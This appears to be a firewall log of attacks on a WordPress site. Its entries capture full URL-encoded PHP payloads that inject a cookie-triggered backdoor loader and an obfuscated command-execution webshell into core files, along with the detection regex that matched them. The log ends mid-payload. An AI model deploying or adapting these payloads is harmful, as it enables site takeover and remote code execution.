core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp2tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-length:4286\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\n\nsh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:57:12","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Rb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHzVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-length:4286\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Android\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?1\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\n\nRb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:57:19","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4309\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:58:42","217.160.76.136","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ab:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%252C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524p